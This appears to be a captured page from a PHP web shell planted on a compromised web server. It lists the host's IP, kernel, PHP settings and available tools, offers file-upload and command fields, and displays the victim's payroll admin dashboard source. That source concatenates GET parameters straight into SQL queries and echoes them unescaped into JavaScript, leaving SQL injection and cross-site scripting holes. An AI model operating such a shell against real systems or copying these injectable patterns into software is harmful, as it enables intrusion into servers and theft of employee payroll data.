X3ND1 GANTENG
Server IP : 108.163.255.210  /  Your IP : 18.118.1.100
Web Server : Apache
System : Linux blossom.urlnameserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
User :  ( 1172)
PHP Version : 7.2.34
Disable Function : eval,escapeshellarg,proc_close,proc_get_status,proc_nice,proc_open,symlink,system,pcntl_exec,getrusage,chown,chgp,closelog,openlog,syslog,define_syslog_variables,php_ini_loaded_file,getservbyname,getservbyport,posix_getgid,posix_getgrgid,proc_terminate,pfsockopen,apache_child_terminate,posix_mkfifo,posix_setpgid,posix_setuid,hypot,pg_host,pos,posix_access,posix_getcwd,posix_getservbyname,myshellexec,getpid,posix_getsid,posix_isatty,posix_kill,posix_mknod,posix_setgid,posix_setsid,posix_setuid,posix_times,posix_uname,ps_fill,posix_getpwuid,global,ini_restore,zip_open,zip_read,rar_open,bzopen,bzread,bzwrite,apache_get_modules,apache_get_version,phpversionphpinfo,php_ini_scanned_files,get_current_user,disk_total_space,diskfreespace,leak,imap_list,hypo,filedump,safe_mode,getmygid,apache_getenv,apache_setenv,bzread,bzwrite,bzopen,phpini,higlight_file,dos_conv,get_cwd,er_log,cmd,e_name,vdir,get_dir,only_read,ftok,ftpexec,posix_getpwnam,mysql_list_dbs,disk_free_space,session_save_path,confirm_phpdoc_compiled,zip_entry_rea,php_u,psockopen,crack_opendict,crack_getlastmessage,crack_closedict,crack_check,fpassthru,posix_get_last_error,posix_getlogin,posix_getgroups,posix_strerror,posix_getrlimit,posix_getpgrp,posix_getgrnam,pos,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/unilinki/public_html/payroll/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ BERANDA ]     

Current File : /home/unilinki/public_html/payroll/admin//dashboard.php
<?php
require_once("../include/db.php");
require_once("header.php");
session_start();

?>
<!----header ends-->
      <!-- Left side column. contains the logo and sidebar -->
      <?php
	  require_once("left.php");
	  ?>

      <!-- Content Wrapper. Contains page content -->
      <div class="content-wrapper">
        <!-- Content Header (Page header) -->
        <section class="content-header">
          <h1>
            Dashboard
            <small>Control panel</small>
          </h1>
          <ol class="breadcrumb">
            <li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li>
            <li class="active">Dashboard</li>
          </ol>
        </section>

        <!-- Main content -->
        <section class="content">
          <!-- Small boxes (Stat box) -->
          <div class="row">
            <div class="col-lg-6 col-xs-6">
              <!-- small box -->
              <div class="small-box bg-aqua" >
                <div class="inner">
                  <h3><?php echo $bra=mysql_num_rows(mysql_query("select sno from companies")); ?></h3>
                  <p>Total Branches</p>
                </div>
                <div class="icon">
                  <i class="fa fa-share-alt" style="font-size:70px;"></i>
                </div>
                <a href="manage_branches.php" class="small-box-footer">More info <i class="fa fa-arrow-circle-right"></i></a>
              </div>
            </div><!-- ./col -->
            <div class="col-lg-6 col-xs-6">
              <!-- small box -->
              <div class="small-box bg-green">
                <div class="inner">
                  <h3><?php echo $emp=mysql_num_rows(mysql_query("select sno from employee")); ?></h3>
                  <p>Total Employee</p>
                </div>
                <div class="icon">
                  <i class="ion ion-person-add"></i>
                </div>
                <a href="manage_employee.php" class="small-box-footer">More info <i class="fa fa-arrow-circle-right"></i></a>
              </div>
            </div><!-- ./col -->
            <div class="col-lg-6 col-xs-6">
              <!-- small box -->
              <div class="small-box bg-yellow">
                <div class="inner">
                  <select id="b" onchange="getprcat(this.value)" style="margin-top:15px;width:235px;"; class="form-control">
				 <option value="">Select Branch</option>
				<?PHP $mysq1=mysql_query("select distinct name from companies");
  while($l1=mysql_fetch_array($mysq1)){ ?>
 
				<option value="<?php echo $l1['name']; ?>" <?php if($l1['name']==$_GET['branch']){echo "selected";}?> ><?php echo $l1['name']; ?></option>
  <?php } ?>
				</select>
                  <br><p>Branch-wise Employee</p>
                </div>
				
                <div class="icon" style="margin-top:-9px;">
                  <i class="fa fa-users" style="font-size:70px;"></i>
                </div>
                <span class="small-box-footer">Filter Branch-wise <i class="fa fa-arrow-circle-down"></i>  </span>
              </div>
            </div><!-- ./col -->
			<script language="javascript">
function getprcat(val){
	if(val!=''){
		var typ="<?php echo $_GET['zone']; ?>";
		window.location.href='dashboard.php?branch='+val+'&zone='+typ;
	}
	
	
}
function getprcat1(val1){
	
	if(val1!=''){
		var typ1="<?php echo $_GET['branch']; ?>";
		window.location.href='dashboard.php?branch='+typ1+'&zone='+val1;
	}
	
	
}
</script>
            <div class="col-lg-6 col-xs-6">
              <!-- small box -->
              <div class="small-box bg-red">
                <div class="inner">
                  <select id="z" onchange="getprcat1(this.value)" style="margin-top:15px;width:235px;"; class="form-control">
   <option value="">Select Zone</option>
  <?PHP $mysq=mysql_query("select distinct area from employee");
  while($l=mysql_fetch_array($mysq)){ ?>
  <option value="<?php echo $l['area']; ?>" <?php if($l['area']==$_GET['zone']){echo "selected";}?>><?php echo $l['area']; ?></option> <?php } ?>
  </select>
                  <br><p>Zone-wise Employee</p>
                </div>
                <div class="icon">
                  <i class="ion ion-pie-graph"></i>
                </div>
  <span class="small-box-footer">Filter Zone-wise <i class="fa fa-arrow-circle-down"></i></span>
              </div>
            </div><!-- ./col -->
          </div><!-- /.row -->
          <!-- Main row --><!-- /.row (main row) -->
<?php
session_start();
//check if user i slogin or not. If the user is not login redirect it to login.php
if(!isset($_SESSION["adminuser"]) || $_SESSION["adminuser"]=="")
{
	header("Location:login.php");
	exit;
}
 if ($_SESSION['role_id']=="emp"){
	echo "<script>window.location='../index.php' </script>";
	exit();
 }
 //require database connection file and it's supporting file.
require_once("../include/db.php");
$obj=new query_execution();

$uid=md5(uniqid(rand()));





$sort = $_GET['sort'];
$sortby = $_GET['sortby'];

$tableName="employee";		
$targetpage = "dashboard.php"; 	
$limit = 30;

if($_GET['branch']!=""){$bname="company='".$_GET['branch']."'";} 
if($_GET['zone']!=""){$zname="area='".$_GET['zone']."'";}
if(($_GET['branch']!="") || ($_GET['zone']!="")){$where="where";}
if(($_GET['branch']!="" & $_GET['zone']!="") ){$and="&&";}


$query = "SELECT COUNT(*) as num FROM $tableName  $where $bname $and $zname";
$total_pages = mysql_fetch_array(mysql_query($query)) or die(mysql_error());
$total_pages = $total_pages[num];
$stages = 3;
$page = mysql_escape_string($_GET['page']);
if($page){
	$start = ($page - 1) * $limit; 
}else{
	$start = 0;	
	}	
// Get page data
if($sort == '')
{
echo $query1 = "SELECT * FROM $tableName $where $bname $and $zname ORDER BY  sno DESC ";
}
else
{
echo $query1 = "SELECT * FROM $tableName $where $bname $and $zname ORDER BY $sortby $sort LIMIT $start, $limit ";
}
$rs_sql = mysql_query($query1) or die("error1".mysql_error());
$tot_sql=mysql_num_rows($rs_sql);

// Initial page num setup
if ($page == 0){$page = 1;}
$prev = $page - 1;	
$next = $page + 1;							
$lastpage = ceil($total_pages/$limit);		
$LastPagem1 = $lastpage - 1;					


$paginate = '';
if($lastpage > 1)
{	




	$paginate .= "<div class='paginate'>";
	// Previous
	if ($page > 1){
		$paginate.= "<a href='$targetpage?page=$prev&uid=".$uid."'>Previous</a>";
	}else{
		$paginate.= "<span class='disabled'>Previous</span>";	}
		

	
	// Pages	
	if ($lastpage < 7 + ($stages * 2))	// Not enough pages to breaking it up
	{	
		for ($counter = 1; $counter <= $lastpage; $counter++)
		{
		$_SESSION['counter']=$counter;
			if ($counter == $page){
				$paginate.= "<span class='current'>$counter</span>";
			}else{
				$paginate.= "<a href='$targetpage?page=$counter&uid=".$uid."'>$counter</a>";}					
		}
	}
	elseif($lastpage > 5 + ($stages * 2))	// Enough pages to hide a few?
	{
		// Beginning only hide later pages
		if($page < 1 + ($stages * 2))		
		{
			for ($counter = 1; $counter < 4 + ($stages * 2); $counter++)
			{
				if ($counter == $page){
					$paginate.= "<span class='current'>$counter</span>";
				}else{
					$paginate.= "<a href='$targetpage?page=$counter&uid=".$uid."'>$counter</a>";}					
			}
			$paginate.= "...";
			$paginate.= "<a href='$targetpage?page=$LastPagem1&uid=".$uid."'>$LastPagem1</a>";
			$paginate.= "<a href='$targetpage?page=$lastpage&uid=".$uid."'>$lastpage</a>";		
		}
		// Middle hide some front and some back
		elseif($lastpage - ($stages * 2) > $page && $page > ($stages * 2))
		{
			$paginate.= "<a href='$targetpage?page=1&uid=".$uid."&view=yes'>1</a>";
			$paginate.= "<a href='$targetpage?page=2&uid=".$uid."&view=yes'>2</a>";
			$paginate.= "...";
			for ($counter = $page - $stages; $counter <= $page + $stages; $counter++)
			{
				if ($counter == $page){
					$paginate.= "<span class='current'>$counter</span>";
				}else{
					$paginate.= "<a href='$targetpage?page=$counter&uid=".$uid."'>$counter</a>";}					
			}
			$paginate.= "...";
			$paginate.= "<a href='$targetpage?page=$LastPagem1&uid=".$uid."'>$LastPagem1</a>";
			$paginate.= "<a href='$targetpage?page=$lastpage&uid=".$uid."'>$lastpage</a>";		
		}
		// End only hide early pages
		else
		{
			$paginate.= "<a href='$targetpage?page=1&uid=".$uid."'>1</a>";
			$paginate.= "<a href='$targetpage?page=2&uid=".$uid."'>2</a>";
			$paginate.= "...";
			for ($counter = $lastpage - (2 + ($stages * 2)); $counter <= $lastpage; $counter++)
			{
				if ($counter == $page){
					$paginate.= "<span class='current'>$counter</span>";
				}else{
					$paginate.= "<a href='$targetpage?page=$counter&uid=".$uid."'>$counter</a>";}					
			}
		}
	}
				
			// Next
	if ($page < $counter - 1){ 
		$paginate.= "<a href='$targetpage?page=$next&uid=".$uid."'>Next</a>";
	}else{
		$paginate.= "<span class='disabled'>Next</span>";
		}
		
	$paginate.= "</div>";
} 
require_once("header.php");
?>
<script language="JavaScript">
function checkall(objForm)
{
	//alert(objForm);
	len = objForm.elements.length;
	var i=0;
	for( i=0 ; i<len ; i++) 
	{
		if (objForm.elements[i].type=='checkbox') objForm.elements[i].checked=objForm.check_all.checked;
	}
}
function del_prompt(comb)
{
	
	if(comb=='Delete')
	{
		if(confirm ("Are you sure you want to delete Record(s)"))
		{
			document.frm_del.submit();
		}
		else
		{ 
			return false;
		}
	}
}
</script>
        </section>
         <section class="content">
          <div class="row">
            <div class="col-xs-12">
              <div class="box">
                <div class="box-header">
                  <h3 class="box-title">All Employee(s) <?php if(($_GET['branch']!="") || ($_GET['zone']!="")){echo "of";} ?> <?php echo $branch; echo "&nbsp"; echo $zone; ?> </h3>
                  <h3 class="box-title" style="float:right"></h3>
                </div><!-- /.box-header -->
                <div class="box-body">
                <form name="frm_del" method="post" >
                  <table id="example1" class="table table-bordered table-hover">
                    <thead>
                    <?php  if($_SESSION['sess_msg'] != ''){?>
								  <tr align="center" bgcolor="#FF000">
									<td height="25" colspan="12" class="blue_txt"><?php  echo $_SESSION['sess_msg']; $_SESSION['sess_msg'] = '';?></td>
								  </tr>
								<?php  }elseif($_REQUEST['action']=='add'){ ?>
									<tr align="center" bgcolor="#00FFFF">
									<td height="25" colspan="12" class="blue_txt"><?php  echo "Employee Added Successfully"; ?></td>
								  </tr>
								<?php  }elseif($_REQUEST['action']=='notadd'){ ?>
                                	<tr align="center" bgcolor="#FF000">
									<td height="25" colspan="12" class="blue_txt"><?php  echo "Employee Not Added"; ?></td>
								  </tr>
                                <?php  }elseif($_REQUEST['action']=='duplicate'){ ?>
                                	<tr align="center" bgcolor="#FF000">
									<td height="25" colspan="12" class="blue_txt"><?php  echo "Duplicate Employee" ;?></td>
								  </tr>
                                  <?php  }elseif($_REQUEST['action']=='update'){ ?>
                                	<tr align="center" bgcolor="#00FFFF">
									<td height="25" colspan="12" class="blue_txt"><?php  echo "Employee updated Successfully" ;?></td>
								  </tr>
                                  <?php  }elseif($_REQUEST['action']=='notupdate'){ ?>
                                	<tr align="center" bgcolor="#FF000">
									<td height="25" colspan="12" class="blue_txt"><?php  echo "Employee not Update" ;?></td>
								  </tr>
                                <?php }?>
                      <tr>
                        <th>Name</th>
                        <th>Branch</th>
						<th>Area</th>
                        <th>Designation</th>
                        <th>D.O.J</th>
                        <th>Qualification</th>
                        <th>Basic Salary</th>
                        
                       
                      </tr>
                    </thead>
                    <?php if($tot_sql != 0){ ?>
                    <tbody>
                    <?php
					 $i=0;
					 $j=$tot_sql;
						while($line=mysql_fetch_array($rs_sql))
						{
						$i++;
						
						  ?>
                      <tr>
                        <td><?php echo $line['name']?></td>
                        <td><?php echo $line['company']?></td>
						<td><?php echo $line['area']?></td>
                        <td><?php echo $line['designation']?></td>
                        <td><?php echo $line['d_o_J']?></td>
                        <td><?php echo $line['qualification']?></td>
                        <td><?php echo $line['b_salary']?></td>
                       
                      </tr>
                      <?php 
					 $j--;
					  }?>
                    </tbody>
                    <?php }else{?>
                    <tbody>
                     <tr align="center">
                        <td colspan="8">Sorry, currently there 
                          are no <span class="white_bold_big">Employee</span>  present.</td>
                      </tr>
                    </tbody>
                    <?php }?>
                    
                      
                    </tfoot>
                  </table>
                  </form>
                </div><!-- /.box-body -->
              </div><!-- /.box -->
            </div><!-- /.col -->
          </div><!-- /.row -->
        </section>
        <!-- /.content -->
      </div><!-- /.content-wrapper -->
<?php
require_once("footer.php");
?>

Anon7 - 2022
SCDN GOK